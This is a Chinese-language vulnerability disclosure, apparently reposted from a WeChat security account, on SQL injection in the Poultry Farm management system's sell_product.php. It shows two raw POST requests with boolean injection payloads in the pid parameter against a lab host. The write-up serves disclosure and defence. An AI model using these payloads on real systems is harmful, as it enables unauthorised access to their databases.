1. 源码分析
/farm/sell_product.php
在源码中可以观察到,后端处理删除SQL数据时,并未对$pid做过任何过滤,直接拼接如SQL语句并执行,从而导致了SQL注入的出现。
2. 漏洞复现
现在shopping Cart中设置一个产品,
然后对于第一个产品,点击Add to Cart,随后会发送一个POST数据包,修改其中的id字段使得where后面的判断为true,从而往购物车中添加一件商品,
POST /RedcockFarm/farm/sell_product.php?action=add&pid=1'+and+'1'='1 HTTP/1.1
Host: 192.168.70.139
Content-Length: 10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.70.139
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.70.139/RedcockFarm/farm/sell_product.php?action=add&pid=1%27+and+1=1+--
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8gjigr0om5m6aaqh840mch8iea
Connection: close
quantity=1
可以看到商品成功添加。再对第一个产品,点击Add to Cart,随后会发送一个POST数据包,修改其中的id字段使得where后面的判断为flase,从而往购物车中不能够添加商品,
POST /RedcockFarm/farm/sell_product.php?action=add&pid=1'+and+'1'='2 HTTP/1.1
Host: 192.168.70.139
Content-Length: 10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.70.139
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.70.139/RedcockFarm/farm/sell_product.php?action=add&pid=1%27+and+1=1+--
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8gjigr0om5m6aaqh840mch8iea
Connection: close
quantity=1
可以看到购物车中商品的数量并没有发生改变。
原文始发于微信公众号(蟹堡安全团队):Poultry Farm管理系统sell_product.php 处存在SQL注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论